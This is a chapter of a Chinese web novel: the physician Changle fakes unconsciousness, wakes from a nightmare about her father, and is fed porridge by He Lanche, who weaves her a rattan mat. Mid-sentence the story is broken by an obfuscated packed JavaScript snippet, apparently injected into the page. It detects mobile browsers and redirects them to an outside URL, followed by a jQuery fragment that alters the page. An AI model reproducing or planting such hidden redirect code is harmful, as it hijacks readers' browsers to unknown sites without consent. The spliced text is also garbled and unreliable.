默认冷灰
24号文字
方正启体

46. 装晕日常(二)

作者:荷桃粥本书字数:K更新时间:
    这段噩梦,起先并不凶恶,没有五毒蛇虫,也没有人追杀。


    她好像梦见了父亲,只是比较冷漠,好像多年和她未见,疏离许多。她有一大堆话要和父亲讲,父亲却不停脚,四处奔走,她说话,父亲不搭理,与他走到一座小茅草屋面前,父亲突然回头,像变了个人,梳着那仇家的鸟人发型,面如僵尸般阴邪。


    她再要走,走不动,双脚像被定住。她捡起身边所有能拿的东西,朝父亲扔去,都砸不中,被抛回来反砸着她。渐渐的,父亲面容愈发乌青,浮出黑紫色,一步一步朝她走来,像是要掐她,又像是要绕开她。


    在父亲向她而来这一段路,她就已经开始啜泣,大口大口喘气。


    以往梦到毒蛇恶虫,邪祟仇敌,她是满腔恨意。梦到父亲,却只能一口一口“爹爹”的唤着,只希望他别这样。在她左右顾盼求助的梦里,最后竟想叫贺兰澈的名字。


    直至父亲要掐上她,躯体一僵,她捂着自己脖子醒来,逐渐想起她现在叫长乐——长乐近日正沉迷装晕。


    一身冷汗,四周无人,只剩白昼下还明亮不熄的成片琉璃灯。多日休眠并未让她神清气爽,她此时赫然直坐,还留了半条魂在梦中和父亲周旋,双目怔怔。


    正巧,贺兰澈抱着一把藤丝进屋,也不知想做什么,见到她竟然坐起来了,还在哭喘,便立刻将藤一抛,跑向她。


    她见到那身淡蓝色的衣袍过来扶住她,散着丝缕松香,顿时安心,不自禁扑到他怀里,环手紧紧搂他,眼泪都蹭在他腰上。


    “你醒了!”


    贺兰澈亦是激动难耐,这会儿只觉得气血上涌,手心潮汗,身上发软,微微俯身回搂她,好像两个久别之人重逢倚偎,又好像大狗狗安抚一只躲在怀里的小兔子。


    晨阳朝霞透窗,将怀拥剪影投在地上,十分亲密。


    片刻后,她醒了神松了手,他亦觉得不好非礼,只好同时分开。


    就这一相拥,贺兰澈腾地烧红了脸,这很不符合当朝世家高门要为家中弱冠之年男子选修的《男德经》所言,于是默默念颂以清心中杂念:


    “未婚则守身如玉,坚修男德方得善佑……一不可与异性单独相处易失身不洁,二不可惹是生非调戏言轻浮不稳重。三不可……”


    可惜没什么用,他一边默背,一边将提亲纳定请期迎婚的流程都想清楚了。忽而觉得应该尽早写封信给父亲母亲禀明近期打算。


    “……”


    随着长乐惧意逐渐消散,神思回归主位,她也像湖水一点一点冰冻,变回了独立又冷性的样子,变回了他熟悉的高山雪。


    “你这是要做什么?”


    长乐看向他扔在地上的藤条,才浣洗过,还残留了一些湿味。


    没回复。贺兰澈还沉浸在方才的逾矩之中,见他耳尖微红,神思飘飘,咬着下唇轻轻笑,长乐便猜他又在脑补什么奇怪的东西。


    长乐给自己找理由:方才是面对救命稻草时的下意识反应,若辛夷师兄芜华师姐杨师叔乌大人站在面前,她可能也会突然扑过去的,从躲避求援心态来看,抱一下人跟抱一下树桩,并没有什么区别。


    她想清楚了,清清嗓,又开口道:“我……我之前跟你说过的话还作数,你我是有界限的,我是医师,你是病人家属。”


    只是此话一出,他站在床边,她坐在床上,远处铜盆温水、药包草汤都好像不认可。


    唉……算了,越描越黑。


    贺兰澈也醒了过来,忙忙认可:“对,你说得对。你此时感觉身体怎么样?我去请辛夷师兄。”


    她迷糊了好几日,大抵是因血晶煞这蛊毒的缘故,她的身子在一段段熟睡中速愈,能感到背心钝感,起先像是在挤压心肺,而后往脖颈儿处游走,再到后几日,背心脖颈都轻松了,钝感又游弋到头皮——本是一直松着发髻,却像时刻紧绷着。


    此刻,她假意在自己腕脉上按了下,并未按满听脉应足够的时间,便仓惶说道:“不必惊动他,我……咳咳咳咳咳,我自己便能看外伤。”


    见贺兰澈狐疑的眼神,她深喘一口气,又躺了下去,靠住背枕,假装很晕,“忽然又觉得不太好,可能,还要再躺些日子。贺兰澈,你帮我倒水……”


    贺兰澈忙着心疼她,转身添水,一边用热水烫冷杯,往花草中泼去,一边碎碎念:“你真是命大,师兄说,你天生背胛骨比常人厚重些,万幸那掌没有伤中你肺腑。”


    长乐心想,辛夷师兄为了找合理解释真是什么瞎话都编得出来,但愿师父早些到,这样才可尽快瞒得过去。


    贺兰澈将水递给她,见她可以自行吞咽,他才放心了。


    “这几天,你昏迷着,辛夷师兄每天会熬一碗药汤,所幸你还算听话,那些药汤慢慢沿着唇口喂,你都吞下去了,也没呛着,想是因此才好得快。”


    长乐又心想,可不是吗,要装晕,还要恰到好处配合吞药,也是要花些功夫的。


    “哎呀!等我。”贺兰澈像想起什么似的,突然疾如风般冲出去,没过半刻钟,端着碗冒着热气的粥又回来。


    一碗山药红枣粥,贺兰澈用勺子沿着碗壁搅动,热气儿们正小心地蒸空。


    “你睡了这么多天,应当饿了。不过才苏醒的病人脾胃虚弱,最好先喝些粥,来,不烫了,啊——”


    朴素的木勺盛起块白玉似的山药,不薄不稠裹着米汤。


    他想喂她。


    他双眼中倒映着她的呆滞。


    到底谁是医师?他才反应过来,不好意思一笑,“以前我娘生病的时候,我爹就是这样照顾她的。所以我也学会了……”


    谁问他这些了。


    贺兰澈轻咬下唇,重新答卷:“二哥哥近些年犯病,王上不放心别的侍婢,换得很勤,他昏了又醒,多是我在照顾的。我知道你们昏厥久了的人,醒来要口苦,你先喝些粥,我还备了一些竹叶汤,待会儿漱漱口会很清爽。”


    长乐盯着那碗粥,以这细腻程度,大概不是饭堂大锅能熬出来的,一定是隔壁在煨火养病人,被贺兰澈蹭来的。


    她将这碗粥接过,并没有打算让他喂。


    贺兰澈瞧她也不怕烫着,速速喝下一大口,这人秀美得像月宫天仙,吃饭却狼吞虎咽。山药在她口中嚼了三嚼,鼓鼓地将她两腮撑成


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15141729|164508||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一团,在他眼里更化成月宫小兔子。


    小兔子喝光了粥又将碗递给他,“你兄长眩晕咳喘,胸腹灼热,我将他之前药方的温补换成清热,这山药红枣虽然益气,但还是太滋补了。尽量让他少喝。”


    “唔……二哥哥也没喝这个,是我……嗯,是辛夷师兄嘱咐我,说你指不定哪天就醒了,时时预备一些粥,比如山药红枣适合体质虚弱的,补气血。还让我掺些小米,这样味儿更甜,免得你口苦。”


    长乐盯着他亮晶晶的眼睛——在撒谎。他撒谎的时候会咬下嘴唇,摸耳朵,说话变得慢,交代一大堆无人在意的解释。


    辛夷师兄知道她没有味觉,才不会叫他熬山药红枣粥,还怕她苦。


    曾为测试她味觉究竟消失到什么程度,辛夷师兄还特意和师父煮渝州热锅,特辣特麻的那种。最后她吃得面不改色,师兄和师父拉两天肚子。


    不过这是好意,长乐心领了。她又想撵他出去,那句“我可以自理了,你就回去吧,别总呆在这儿,对大家都好”浮在她牙关,就是说不出来。总觉得心里有块地方软软的,话说出来会变硬似的。


    贺兰澈见她没有忽冷忽热,此刻正是得意忘形,什么医师和病人家属的边界线,全都抛在脑后——不让他待在她身边,难受,能挨几时算几时。


    他这才收拾起那一大堆被抛弃的藤条,就坐在离她床不算远的床下,开始梳理。


    方才长乐就问了他一遍,抱着这堆藤条要做什么,此时不好意思再问,不过依此人呆性,不问他,憋不住会自己说的。


    “给你编凉簟。”


    只见他先拿起三条干藤起篾,再以六条穿插,十指如飞,灵活万分。


    “之前你昏着,辛夷师兄说你发热低烧排汗,怕你热得难受,就说要将你的褥子换成簟子。”


    “买一张便是了,何必自己做。”


    贺兰澈笑笑,手中编打动作却不停,“我……和辛夷师兄去瞧了一圈,西市铺子都只有竹编簟子,那个材质太粗糙,睡觉怕是要夹头发,他说,不如用藤的,虽不是最凉快的,但是柔软。况且现在早春,也用不上冰丝的。”


    “你不必总栽赃辛夷师兄。”


    长乐隐隐似有笑意,他却不知为什么。


    手里编得很快,至少初模底子打好了,后面只顾照着编,不用再动脑子,他编到一半,向长乐征询意见。


    “长乐医师?”


    叫长乐太冰冷,叫乐儿她不愿意,他赌气一样唤了声她的职称,按照她之前的要求,倒惹得她又是一愣。


    “我能过来再量量你的床围吗?”


    长乐想起自己在扮演一个虚弱垂危的病人,也不好太过强硬,将死之人的心态应该是——爱咋地咋地吧。


    于是她同意了。抓着小薄被,往里面挪动了一些,露出床沿。


    贺兰澈伸手隔空大致比划了下,就确定:“床宽五尺,长八尺五寸,标准的。”


    “你瞧一眼就能知道尺寸?”


    他听见她问了,不禁得意起来,左眉一挑,露出少年的骄矜与自豪,“那自然,你忘了我家是做什么的!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)